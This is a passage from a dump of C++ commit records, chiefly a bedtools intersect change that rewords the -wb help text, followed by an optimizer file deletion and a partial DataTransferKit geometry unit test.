CXChildVisit_Break;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn CXChildVisit_Continue;\n\t\t};\n\t\tclang_visitChildren(_cursor, AttributeVisitor, &result);\n\t\treturn result.cursor;\n\t\tbreak;\n\t}\n\t}\n\n\treturn clang_getNullCursor();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n  intersectMain.cpp\n\n  (c) 2009 - Aaron Quinlan\n  Hall Laboratory\n  Department of Biochemistry and Molecular Genetics\n  University of Virginia\n  aaronquinlan@gmail.com\n\n  Licenced under the GNU General Public License 2.0 license.\n******************************************************************************\/\n#include \"intersectBed.h\"\n#include \"version.h\"\n\nusing namespace std;\n\n\/\/ define our program name\n#define PROGRAM_NAME \"bedtools intersect\"\n\n\n\/\/ define our parameter checking macro\n#define PARAMETER_CHECK(param, paramLen, actualLen) (strncmp(argv[i], param, min(actualLen, paramLen))== 0) && (actualLen == paramLen)\n\n\/\/ function declarations\nvoid intersect_help(void);\n\nint intersect_main(int argc, char* argv[]) {\n\n    \/\/ our configuration variables\n    bool showHelp = false;\n\n    \/\/ input files\n    string bedAFile;\n    string bedBFile;\n\n    \/\/ input arguments\n    float overlapFraction = 1E-9;\n\n    bool haveBedA           = false;\n    bool haveBedB           = false;\n    bool noHit              = false;\n    bool leftJoin           = false;\n    bool anyHit             = false;\n    bool writeA             = false;\n    bool writeB             = false;\n    bool writeCount         = false;\n    bool writeOverlap       = false;\n    bool writeAllOverlap    = false;\n    bool haveFraction       = false;\n    bool reciprocalFraction = false;\n    bool sameStrand         = false;\n    bool diffStrand         = false;\n    bool obeySplits         = false;\n    bool inputIsBam         = false;\n    bool outputIsBam        = true;\n    bool uncompressedBam    = false;\n    bool sortedInput        = false;\n    bool printHeader        = false;\n\n    \/\/ check to see if we should print out some help\n    if(argc <= 1) showHelp = true;\n\n    for(int i = 1; i < argc; i++) {\n        int parameterLength = (int)strlen(argv[i]);\n\n        if((PARAMETER_CHECK(\"-h\", 2, parameterLength)) ||\n        (PARAMETER_CHECK(\"--help\", 5, parameterLength))) {\n            showHelp = true;\n        }\n    }\n\n    if(showHelp) intersect_help();\n\n    \/\/ do some parsing (all of these parameters require 2 strings)\n    for(int i = 1; i < argc; i++) {\n\n        int parameterLength = (int)strlen(argv[i]);\n\n        if(PARAMETER_CHECK(\"-a\", 2, parameterLength)) {\n            if ((i+1) < argc) {\n                haveBedA = true;\n                outputIsBam = false;\n                bedAFile = argv[i + 1];\n                i++;\n            }\n        }\n        else if(PARAMETER_CHECK(\"-abam\", 5, parameterLength)) {\n            if ((i+1) < argc) {\n                haveBedA = true;\n                inputIsBam = true;\n                bedAFile = argv[i + 1];\n                i++;\n            }\n        }\n        else if(PARAMETER_CHECK(\"-b\", 2, parameterLength)) {\n            if ((i+1) < argc) {\n                haveBedB = true;\n                bedBFile = argv[i + 1];\n                i++;\n            }\n        }\n        else if(PARAMETER_CHECK(\"-bed\", 4, parameterLength)) {\n            outputIsBam = false;\n        }\n        else if(PARAMETER_CHECK(\"-u\", 2, parameterLength)) {\n            anyHit = true;\n        }\n        else if(PARAMETER_CHECK(\"-f\", 2, parameterLength)) {\n            if ((i+1) < argc) {\n                haveFraction = true;\n                overlapFraction = atof(argv[i + 1]);\n                i++;\n            }\n        }\n        else if(PARAMETER_CHECK(\"-wa\", 3, parameterLength)) {\n            writeA = true;\n        }\n        else if(PARAMETER_CHECK(\"-wb\", 3, parameterLength)) {\n            writeB = true;\n        }\n        else if(PARAMETER_CHECK(\"-wo\", 3, parameterLength)) {\n            writeOverlap = true;\n        }\n        else if(PARAMETER_CHECK(\"-wao\", 4, parameterLength)) {\n            writeAllOverlap = true;\n            writeOverlap = true;\n        }\n        else if(PARAMETER_CHECK(\"-c\", 2, parameterLength)) {\n            writeCount = true;\n        }\n        else if(PARAMETER_CHECK(\"-r\", 2, parameterLength)) {\n            reciprocalFraction = true;\n        }\n        else if (PARAMETER_CHECK(\"-v\", 2, parameterLength)) {\n            noHit = true;\n        }\n        else if (PARAMETER_CHECK(\"-s\", 2, parameterLength)) {\n            sameStrand = true;\n        }\n        else if (PARAMETER_CHECK(\"-S\", 2, parameterLength)) {\n            diffStrand = true;\n        }\n        else if (PARAMETER_CHECK(\"-split\", 6, parameterLength)) {\n            obeySplits = true;\n        }\n        else if (PARAMETER_CHECK(\"-loj\", 4, parameterLength)) {\n            leftJoin = true;\n        }\n        else if(PARAMETER_CHECK(\"-ubam\", 5, parameterLength)) {\n            uncompressedBam = true;\n        }\n        else if(PARAMETER_CHECK(\"-sorted\", 7, parameterLength)) {\n            sortedInput = true;\n        }\n        else if(PARAMETER_CHECK(\"-header\", 7, parameterLength)) {\n            printHeader = true;\n        }\n        else {\n            cerr << endl << \"*****ERROR: Unrecognized parameter: \" << argv[i] << \" *****\" << endl << endl;\n            showHelp = true;\n        }\n    }\n\n    \/\/ make sure we have both input files\n    if (!haveBedA || !haveBedB) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Need -a and -b files. \" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (anyHit && noHit) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Request either -u OR -v, not both.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (writeB && writeCount) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Request either -wb OR -c, not both.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (writeCount && writeOverlap) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Request either -wb OR -wo, not both.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (writeA && writeOverlap) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Request either -wa OR -wo, not both.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (writeB && writeOverlap) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Request either -wb OR -wo, not both.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (reciprocalFraction && !haveFraction) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: If using -r, you need to define -f.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (anyHit && writeCount) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Request either -u OR -c, not both.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (anyHit && writeB) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Request either -u OR -wb, not both.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (anyHit && writeOverlap) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Request either -u OR -wo, not both.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (sameStrand && diffStrand) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Request either -s OR -S, not both.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n    \n    if (inputIsBam && writeB && outputIsBam) {\n        cerr << endl << \"*****\" << endl << \"*****WARNING: -wb is ignored with -abam\" << endl << \"*****\" << endl;\n    }\n\n    if (inputIsBam && leftJoin) {\n        cerr << endl << \"*****\" << endl << \"*****WARNING: -loj is ignored with -abam\" << endl << \"*****\" << endl;\n    }\n    \n    if (outputIsBam && (writeCount || writeOverlap || writeAllOverlap)) \n    {\n        outputIsBam = false;\n    }\n\n    if (!showHelp) {\n\n        BedIntersect *bi = new BedIntersect(bedAFile, bedBFile, anyHit, writeA, writeB, writeOverlap,\n                                            writeAllOverlap, overlapFraction, noHit, leftJoin, writeCount, sameStrand, diffStrand,\n                                            reciprocalFraction, obeySplits, inputIsBam, outputIsBam, uncompressedBam, \n                                            sortedInput, printHeader);\n        delete bi;\n        return 0;\n    }\n    else {\n        intersect_help();\n        return 0;\n    }\n}\n\nvoid intersect_help(void) {\n\n    cerr << \"\\nTool:    bedtools intersect (aka intersectBed)\" << endl;\n    cerr << \"Version: \" << VERSION << \"\\n\";    \n    cerr << \"Summary: Report overlaps between two feature files.\" << endl << endl;\n\n    cerr << \"Usage:   \" << PROGRAM_NAME << \" [OPTIONS] -a <bed\/gff\/vcf> -b <bed\/gff\/vcf>\" << endl << endl;\n\n    cerr << \"Options: \" << endl;\n\n    cerr << \"\\t-abam\\t\"         << \"The A input file is in BAM format.  Output will be BAM as well.\" << endl << endl;\n\n    cerr << \"\\t-ubam\\t\"         << \"Write uncompressed BAM output. Default writes compressed BAM.\" << endl << endl;\n\n    cerr << \"\\t-bed\\t\"          << \"When using BAM input (-abam), write output as BED. The default\" << endl;\n    cerr                        << \"\\t\\tis to write output in BAM when using -abam.\" << endl << endl;\n\n    cerr << \"\\t-wa\\t\"           << \"Write the original entry in A for each overlap.\" << endl << endl;\n\n    cerr << \"\\t-wb\\t\"           << \"Write the original entry in B for each overlap.\" << endl;\n    cerr                        << \"\\t\\t- Useful for knowing _what_ A overlaps. Restricted by -f and -r.\" << endl << endl;\n    \n    cerr << \"\\t-loj\\t\"          << \"Perform a \\\"left outer join\\\". That is, for each feature in A\" << endl;\n    cerr                        << \"\\t\\treport each overlap with B.  If no overlaps are found, \" << endl;\n    cerr                        << \"\\t\\treport a NULL feature for B.\" << endl << endl;\n\n    cerr << \"\\t-wo\\t\"           << \"Write the original A and B entries plus the number of base\" << endl;\n    cerr                        << \"\\t\\tpairs of overlap between the two features.\" << endl;\n    cerr                        << \"\\t\\t- Overlaps restricted by -f and -r.\" << endl;\n    cerr                        << \"\\t\\t  Only A features with overlap are reported.\" << endl << endl;\n\n    cerr << \"\\t-wao\\t\"          << \"Write the original A and B entries plus the number of base\" << endl;\n    cerr                        << \"\\t\\tpairs of overlap between the two features.\" << endl;\n    cerr                        << \"\\t\\t- Overlapping features restricted by -f and -r.\" << endl;\n    cerr                        << \"\\t\\t  However, A features w\/o overlap are also reported\" << endl;\n    cerr                        << \"\\t\\t  with a NULL B feature and overlap = 0.\" << endl << endl;\n\n    cerr << \"\\t-u\\t\"            << \"Write the original A entry _once_ if _any_ overlaps found in B.\" << endl;\n    cerr                        << \"\\t\\t- In other words, just report the fact >=1 hit was found.\" << endl;\n    cerr                        << \"\\t\\t- Overlaps restricted by -f and -r.\" << endl << endl;\n\n    cerr << \"\\t-c\\t\"            << \"For each entry in A, report the number of overlaps with B.\" << endl;\n    cerr                        << \"\\t\\t- Reports 0 for A entries that have no overlap with B.\" << endl;\n    cerr                        << \"\\t\\t- Overlaps restricted by -f and -r.\" << endl << endl;\n\n    cerr << \"\\t-v\\t\"            << \"Only report those entries in A that have _no overlaps_ with B.\" << endl;\n    cerr                        << \"\\t\\t- Similar to \\\"grep -v\\\" (an homage).\" << endl << endl;\n\n    cerr << \"\\t-f\\t\"            << \"Minimum overlap required as a fraction of A.\" << endl;\n    cerr                        << \"\\t\\t- Default is 1E-9 (i.e., 1bp).\" << endl;\n    cerr                        << \"\\t\\t- FLOAT (e.g. 0.50)\" << endl << endl;\n\n    cerr << \"\\t-r\\t\"            << \"Require that the fraction overlap be reciprocal for A and B.\" << endl;\n    cerr                        << \"\\t\\t- In other words, if -f is 0.90 and -r is used, this requires\" << endl;\n    cerr                        << \"\\t\\t  that B overlap 90% of A and A _also_ overlaps 90% of B.\" << endl << endl;\n\n    cerr << \"\\t-s\\t\"            << \"Require same strandedness.  That is, only report hits in B\" << endl;\n    cerr                        << \"\\t\\tthat overlap A on the _same_ strand.\" << endl;\n    cerr                        << \"\\t\\t- By default, overlaps are reported without respect to strand.\" << endl << endl;\n\n    cerr << \"\\t-S\\t\"            << \"Require different strandedness.  That is, only report hits in B\" << endl;\n    cerr                        << \"\\t\\tthat overlap A on the _opposite_ strand.\" << endl;\n    cerr                        << \"\\t\\t- By default, overlaps are reported without respect to strand.\" << endl << endl;\n\n    cerr << \"\\t-split\\t\"        << \"Treat \\\"split\\\" BAM or BED12 entries as distinct BED intervals.\" << endl << endl;\n\n    cerr << \"\\t-sorted\\t\"       << \"Use the \\\"chromsweep\\\" algorithm for sorted (-k1,1 -k2,2n) input\" << endl << endl;\n    \n    cerr << \"\\t-header\\t\"       << \"Print the header from the A file prior to results.\" << endl << endl;\n \n    cerr << \"Notes: \" << endl;\n    cerr << \"\\t(1) When a BAM file is used for the A file, the alignment is retained if overlaps exist,\" << endl;\n    cerr << \"\\tand exlcuded if an overlap cannot be found.  If multiple overlaps exist, they are not\" << endl;\n    cerr << \"\\treported, as we are only testing for one or more overlaps.\" << endl << endl;\n\n    \/\/ end the program here\n    exit(1);\n\n}\n<commit_msg>[ENH] improve desc. of what -wb does.<commit_after>\/*****************************************************************************\n  intersectMain.cpp\n\n  (c) 2009 - Aaron Quinlan\n  Hall Laboratory\n  Department of Biochemistry and Molecular Genetics\n  University of Virginia\n  aaronquinlan@gmail.com\n\n  Licenced under the GNU General Public License 2.0 license.\n******************************************************************************\/\n#include \"intersectBed.h\"\n#include \"version.h\"\n\nusing namespace std;\n\n\/\/ define our program name\n#define PROGRAM_NAME \"bedtools intersect\"\n\n\n\/\/ define our parameter checking macro\n#define PARAMETER_CHECK(param, paramLen, actualLen) (strncmp(argv[i], param, min(actualLen, paramLen))== 0) && (actualLen == paramLen)\n\n\/\/ function declarations\nvoid intersect_help(void);\n\nint intersect_main(int argc, char* argv[]) {\n\n    \/\/ our configuration variables\n    bool showHelp = false;\n\n    \/\/ input files\n    string bedAFile;\n    string bedBFile;\n\n    \/\/ input arguments\n    float overlapFraction = 1E-9;\n\n    bool haveBedA           = false;\n    bool haveBedB           = false;\n    bool noHit              = false;\n    bool leftJoin           = false;\n    bool anyHit             = false;\n    bool writeA             = false;\n    bool writeB             = false;\n    bool writeCount         = false;\n    bool writeOverlap       = false;\n    bool writeAllOverlap    = false;\n    bool haveFraction       = false;\n    bool reciprocalFraction = false;\n    bool sameStrand         = false;\n    bool diffStrand         = false;\n    bool obeySplits         = false;\n    bool inputIsBam         = false;\n    bool outputIsBam        = true;\n    bool uncompressedBam    = false;\n    bool sortedInput        = false;\n    bool printHeader        = false;\n\n    \/\/ check to see if we should print out some help\n    if(argc <= 1) showHelp = true;\n\n    for(int i = 1; i < argc; i++) {\n        int parameterLength = (int)strlen(argv[i]);\n\n        if((PARAMETER_CHECK(\"-h\", 2, parameterLength)) ||\n        (PARAMETER_CHECK(\"--help\", 5, parameterLength))) {\n            showHelp = true;\n        }\n    }\n\n    if(showHelp) intersect_help();\n\n    \/\/ do some parsing (all of these parameters require 2 strings)\n    for(int i = 1; i < argc; i++) {\n\n        int parameterLength = (int)strlen(argv[i]);\n\n        if(PARAMETER_CHECK(\"-a\", 2, parameterLength)) {\n            if ((i+1) < argc) {\n                haveBedA = true;\n                outputIsBam = false;\n                bedAFile = argv[i + 1];\n                i++;\n            }\n        }\n        else if(PARAMETER_CHECK(\"-abam\", 5, parameterLength)) {\n            if ((i+1) < argc) {\n                haveBedA = true;\n                inputIsBam = true;\n                bedAFile = argv[i + 1];\n                i++;\n            }\n        }\n        else if(PARAMETER_CHECK(\"-b\", 2, parameterLength)) {\n            if ((i+1) < argc) {\n                haveBedB = true;\n                bedBFile = argv[i + 1];\n                i++;\n            }\n        }\n        else if(PARAMETER_CHECK(\"-bed\", 4, parameterLength)) {\n            outputIsBam = false;\n        }\n        else if(PARAMETER_CHECK(\"-u\", 2, parameterLength)) {\n            anyHit = true;\n        }\n        else if(PARAMETER_CHECK(\"-f\", 2, parameterLength)) {\n            if ((i+1) < argc) {\n                haveFraction = true;\n                overlapFraction = atof(argv[i + 1]);\n                i++;\n            }\n        }\n        else if(PARAMETER_CHECK(\"-wa\", 3, parameterLength)) {\n            writeA = true;\n        }\n        else if(PARAMETER_CHECK(\"-wb\", 3, parameterLength)) {\n            writeB = true;\n        }\n        else if(PARAMETER_CHECK(\"-wo\", 3, parameterLength)) {\n            writeOverlap = true;\n        }\n        else if(PARAMETER_CHECK(\"-wao\", 4, parameterLength)) {\n            writeAllOverlap = true;\n            writeOverlap = true;\n        }\n        else if(PARAMETER_CHECK(\"-c\", 2, parameterLength)) {\n            writeCount = true;\n        }\n        else if(PARAMETER_CHECK(\"-r\", 2, parameterLength)) {\n            reciprocalFraction = true;\n        }\n        else if (PARAMETER_CHECK(\"-v\", 2, parameterLength)) {\n            noHit = true;\n        }\n        else if (PARAMETER_CHECK(\"-s\", 2, parameterLength)) {\n            sameStrand = true;\n        }\n        else if (PARAMETER_CHECK(\"-S\", 2, parameterLength)) {\n            diffStrand = true;\n        }\n        else if (PARAMETER_CHECK(\"-split\", 6, parameterLength)) {\n            obeySplits = true;\n        }\n        else if (PARAMETER_CHECK(\"-loj\", 4, parameterLength)) {\n            leftJoin = true;\n        }\n        else if(PARAMETER_CHECK(\"-ubam\", 5, parameterLength)) {\n            uncompressedBam = true;\n        }\n        else if(PARAMETER_CHECK(\"-sorted\", 7, parameterLength)) {\n            sortedInput = true;\n        }\n        else if(PARAMETER_CHECK(\"-header\", 7, parameterLength)) {\n            printHeader = true;\n        }\n        else {\n            cerr << endl << \"*****ERROR: Unrecognized parameter: \" << argv[i] << \" *****\" << endl << endl;\n            showHelp = true;\n        }\n    }\n\n    \/\/ make sure we have both input files\n    if (!haveBedA || !haveBedB) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Need -a and -b files. \" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (anyHit && noHit) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Request either -u OR -v, not both.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (writeB && writeCount) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Request either -wb OR -c, not both.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (writeCount && writeOverlap) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Request either -wb OR -wo, not both.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (writeA && writeOverlap) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Request either -wa OR -wo, not both.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (writeB && writeOverlap) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Request either -wb OR -wo, not both.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (reciprocalFraction && !haveFraction) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: If using -r, you need to define -f.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (anyHit && writeCount) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Request either -u OR -c, not both.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (anyHit && writeB) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Request either -u OR -wb, not both.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (anyHit && writeOverlap) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Request either -u OR -wo, not both.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n\n    if (sameStrand && diffStrand) {\n        cerr << endl << \"*****\" << endl << \"*****ERROR: Request either -s OR -S, not both.\" << endl << \"*****\" << endl;\n        showHelp = true;\n    }\n    \n    if (inputIsBam && writeB && outputIsBam) {\n        cerr << endl << \"*****\" << endl << \"*****WARNING: -wb is ignored with -abam\" << endl << \"*****\" << endl;\n    }\n\n    if (inputIsBam && leftJoin) {\n        cerr << endl << \"*****\" << endl << \"*****WARNING: -loj is ignored with -abam\" << endl << \"*****\" << endl;\n    }\n    \n    if (outputIsBam && (writeCount || writeOverlap || writeAllOverlap)) \n    {\n        outputIsBam = false;\n    }\n\n    if (!showHelp) {\n\n        BedIntersect *bi = new BedIntersect(bedAFile, bedBFile, anyHit, writeA, writeB, writeOverlap,\n                                            writeAllOverlap, overlapFraction, noHit, leftJoin, writeCount, sameStrand, diffStrand,\n                                            reciprocalFraction, obeySplits, inputIsBam, outputIsBam, uncompressedBam, \n                                            sortedInput, printHeader);\n        delete bi;\n        return 0;\n    }\n    else {\n        intersect_help();\n        return 0;\n    }\n}\n\nvoid intersect_help(void) {\n\n    cerr << \"\\nTool:    bedtools intersect (aka intersectBed)\" << endl;\n    cerr << \"Version: \" << VERSION << \"\\n\";    \n    cerr << \"Summary: Report overlaps between two feature files.\" << endl << endl;\n\n    cerr << \"Usage:   \" << PROGRAM_NAME << \" [OPTIONS] -a <bed\/gff\/vcf> -b <bed\/gff\/vcf>\" << endl << endl;\n\n    cerr << \"Options: \" << endl;\n\n    cerr << \"\\t-abam\\t\"         << \"The A input file is in BAM format.  Output will be BAM as well.\" << endl << endl;\n\n    cerr << \"\\t-ubam\\t\"         << \"Write uncompressed BAM output. Default writes compressed BAM.\" << endl << endl;\n\n    cerr << \"\\t-bed\\t\"          << \"When using BAM input (-abam), write output as BED. The default\" << endl;\n    cerr                        << \"\\t\\tis to write output in BAM when using -abam.\" << endl << endl;\n\n    cerr << \"\\t-wa\\t\"           << \"Write the original entry in A for each overlap.\" << endl << endl;\n\n    cerr << \"\\t-wb\\t\"           << \"Follow the A entry with the original \"\n                                << \"entry in B for each overlap.\" << endl;\n    cerr                        << \"\\t\\t- Useful for knowing _what_ A overlaps. Restricted by -f and -r.\" << endl << endl;\n    \n    cerr << \"\\t-loj\\t\"          << \"Perform a \\\"left outer join\\\". That is, for each feature in A\" << endl;\n    cerr                        << \"\\t\\treport each overlap with B.  If no overlaps are found, \" << endl;\n    cerr                        << \"\\t\\treport a NULL feature for B.\" << endl << endl;\n\n    cerr << \"\\t-wo\\t\"           << \"Write the original A and B entries plus the number of base\" << endl;\n    cerr                        << \"\\t\\tpairs of overlap between the two features.\" << endl;\n    cerr                        << \"\\t\\t- Overlaps restricted by -f and -r.\" << endl;\n    cerr                        << \"\\t\\t  Only A features with overlap are reported.\" << endl << endl;\n\n    cerr << \"\\t-wao\\t\"          << \"Write the original A and B entries plus the number of base\" << endl;\n    cerr                        << \"\\t\\tpairs of overlap between the two features.\" << endl;\n    cerr                        << \"\\t\\t- Overlapping features restricted by -f and -r.\" << endl;\n    cerr                        << \"\\t\\t  However, A features w\/o overlap are also reported\" << endl;\n    cerr                        << \"\\t\\t  with a NULL B feature and overlap = 0.\" << endl << endl;\n\n    cerr << \"\\t-u\\t\"            << \"Write the original A entry _once_ if _any_ overlaps found in B.\" << endl;\n    cerr                        << \"\\t\\t- In other words, just report the fact >=1 hit was found.\" << endl;\n    cerr                        << \"\\t\\t- Overlaps restricted by -f and -r.\" << endl << endl;\n\n    cerr << \"\\t-c\\t\"            << \"For each entry in A, report the number of overlaps with B.\" << endl;\n    cerr                        << \"\\t\\t- Reports 0 for A entries that have no overlap with B.\" << endl;\n    cerr                        << \"\\t\\t- Overlaps restricted by -f and -r.\" << endl << endl;\n\n    cerr << \"\\t-v\\t\"            << \"Only report those entries in A that have _no overlaps_ with B.\" << endl;\n    cerr                        << \"\\t\\t- Similar to \\\"grep -v\\\" (an homage).\" << endl << endl;\n\n    cerr << \"\\t-f\\t\"            << \"Minimum overlap required as a fraction of A.\" << endl;\n    cerr                        << \"\\t\\t- Default is 1E-9 (i.e., 1bp).\" << endl;\n    cerr                        << \"\\t\\t- FLOAT (e.g. 0.50)\" << endl << endl;\n\n    cerr << \"\\t-r\\t\"            << \"Require that the fraction overlap be reciprocal for A and B.\" << endl;\n    cerr                        << \"\\t\\t- In other words, if -f is 0.90 and -r is used, this requires\" << endl;\n    cerr                        << \"\\t\\t  that B overlap 90% of A and A _also_ overlaps 90% of B.\" << endl << endl;\n\n    cerr << \"\\t-s\\t\"            << \"Require same strandedness.  That is, only report hits in B\" << endl;\n    cerr                        << \"\\t\\tthat overlap A on the _same_ strand.\" << endl;\n    cerr                        << \"\\t\\t- By default, overlaps are reported without respect to strand.\" << endl << endl;\n\n    cerr << \"\\t-S\\t\"            << \"Require different strandedness.  That is, only report hits in B\" << endl;\n    cerr                        << \"\\t\\tthat overlap A on the _opposite_ strand.\" << endl;\n    cerr                        << \"\\t\\t- By default, overlaps are reported without respect to strand.\" << endl << endl;\n\n    cerr << \"\\t-split\\t\"        << \"Treat \\\"split\\\" BAM or BED12 entries as distinct BED intervals.\" << endl << endl;\n\n    cerr << \"\\t-sorted\\t\"       << \"Use the \\\"chromsweep\\\" algorithm for sorted (-k1,1 -k2,2n) input\" << endl << endl;\n    \n    cerr << \"\\t-header\\t\"       << \"Print the header from the A file prior to results.\" << endl << endl;\n \n    cerr << \"Notes: \" << endl;\n    cerr << \"\\t(1) When a BAM file is used for the A file, the alignment is retained if overlaps exist,\" << endl;\n    cerr << \"\\tand exlcuded if an overlap cannot be found.  If multiple overlaps exist, they are not\" << endl;\n    cerr << \"\\treported, as we are only testing for one or more overlaps.\" << endl << endl;\n\n    \/\/ end the program here\n    exit(1);\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <ace-c\/Optimizer.hpp>\n#include <ace-c\/ast\/AstModuleDeclaration.hpp>\n#include <ace-c\/ast\/AstBinaryExpression.hpp>\n#include <ace-c\/ast\/AstVariable.hpp>\n#include <ace-c\/ast\/AstConstant.hpp>\n\n#include <common\/my_assert.hpp>\n\nvoid Optimizer::OptimizeExpr(std::shared_ptr<AstExpression> &expr, AstVisitor *visitor, Module *mod)\n{\n    ASSERT(expr != nullptr);\n    expr->Optimize(visitor, mod);\n\n    if (auto *expr_as_var = dynamic_cast<AstVariable*>(expr.get())) {\n        \/\/ the side is a variable, so we can further optimize by inlining,\n        \/\/ only if it is const, and a literal.\n        if (expr_as_var->GetProperties().GetIdentifier()) {\n            if (expr_as_var->GetProperties().GetIdentifier()->GetFlags() & FLAG_CONST) {\n                \/\/ the variable is a const, now we make sure that the current\n                \/\/ value is a literal value\n                if (auto *constant = dynamic_cast<AstConstant*>(\n                    expr_as_var->GetProperties().GetIdentifier()->GetCurrentValue().get())) {\n                    \/\/ yay! we were able to retrieve the value that\n                    \/\/ the variable is set to, so now we can use that\n                    \/\/ at compile-time rather than using a variable.\n                    expr.reset(constant);\n                }\n            }\n        }\n    } else if (auto *expr_as_binop = dynamic_cast<AstBinaryExpression*>(expr.get())) {\n        if (!expr_as_binop->GetRight()) {\n            \/\/ right side has been optimized away, to just left side\n            expr = expr_as_binop->GetLeft();\n        }\n    }\n}\n\nOptimizer::Optimizer(AstIterator *ast_iterator, CompilationUnit *compilation_unit)\n    : AstVisitor(ast_iterator, compilation_unit)\n{\n}\n\nOptimizer::Optimizer(const Optimizer &other)\n    : AstVisitor(other.m_ast_iterator, other.m_compilation_unit)\n{\n}\n\nvoid Optimizer::Optimize(bool expect_module_decl)\n{\n    if (expect_module_decl) {\n        if (m_ast_iterator->HasNext()) {\n            auto first_statement = m_ast_iterator->Next();\n            auto module_declaration = std::dynamic_pointer_cast<AstModuleDeclaration>(first_statement);\n\n            if (module_declaration) {\n                \/\/ all files must begin with a module declaration\n                module_declaration->Optimize(this, nullptr);\n                OptimizeInner();\n            }\n        }\n    } else {\n        OptimizeInner();\n    }\n}\n\nvoid Optimizer::OptimizeInner()\n{\n    Module *mod = m_compilation_unit->GetCurrentModule();\n    while (m_ast_iterator->HasNext()) {\n        m_ast_iterator->Next()->Optimize(this, mod);\n    }\n}\n<commit_msg>Delete optimizer.cpp<commit_after><|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n * Copyright (c) 2012-2019 by the DataTransferKit authors                   *\n * All rights reserved.                                                     *\n *                                                                          *\n * This file is part of the DataTransferKit library. DataTransferKit is     *\n * distributed under a BSD 3-clause license. For the licensing terms see    *\n * the LICENSE file in the top-level directory.                             *\n *                                                                          *\n * SPDX-License-Identifier: BSD-3-Clause                                    *\n ****************************************************************************\/\n\n#include \"DTK_BoostGeometryAdapters.hpp\"\n\n#include <DTK_DetailsAlgorithms.hpp>\n\n#include <boost\/test\/unit_test.hpp>\n\n#define BOOST_TEST_MODULE BoostGeometryAdapters\n\nnamespace bg = boost::geometry;\nnamespace dtk = DataTransferKit::Details;\n\/\/ Conveniently importing Point and Box in DataTransferKit::Details:: namespace\n\/\/ and declaring type aliases within boost::geometry:: so that we are able to\n\/\/ just use dtk:: and bg:: to specify what geometry or algorithm we mean.\nnamespace DataTransferKit\n{\nnamespace Details\n{\nusing DataTransferKit::Box;\nusing DataTransferKit::Point;\n} \/\/ namespace Details\n} \/\/ namespace DataTransferKit\nnamespace boost\n{\nnamespace geometry\n{\nusing Point = model::point<double, 3, cs::cartesian>;\nusing Box = model::box<Point>;\n} \/\/ namespace geometry\n} \/\/ namespace boost\n\nBOOST_AUTO_TEST_CASE( equals )\n{\n    dtk::Point point = {{1., 2., 3.}};\n    BOOST_TEST( dtk::equals( point, {{1., 2., 3.}} ) );\n    BOOST_TEST( !dtk::equals( point, {{0., 0., 0.}} ) );\n    BOOST_TEST( bg::equals( point, bg::make<dtk::Point>( 1., 2., 3. ) ) );\n    BOOST_TEST( !bg::equals( point, bg::make<dtk::Point>( 4., 5., 6. ) ) );\n    BOOST_TEST( bg::equals( point, bg::make<bg::Point>( 1., 2., 3. ) ) );\n    BOOST_TEST( !bg::equals( point, bg::make<bg::Point>( 0., 0., 0. ) ) );\n\n    dtk::Box box = {{{1., 2., 3.}}, {{4., 5., 6.}}};\n    BOOST_TEST( dtk::equals( box, {{{1., 2., 3.}}, {{4., 5., 6.}}} ) );\n    BOOST_TEST( !dtk::equals( box, {{{0., 0., 0.}}, {{1., 1., 1.}}} ) );\n    BOOST_TEST( bg::equals( box, dtk::Box{{{1., 2., 3.}}, {{4., 5., 6.}}} ) );\n    BOOST_TEST( !bg::equals( box, dtk::Box{{{0., 0., 0.}}, {{1., 1., 1.}}} ) );\n    BOOST_TEST(\n        bg::equals( box, bg::Box( bg::make<bg::Point>( 1., 2., 3. ),\n                                  bg::make<bg::Point>( 4., 5., 6. ) ) ) );\n    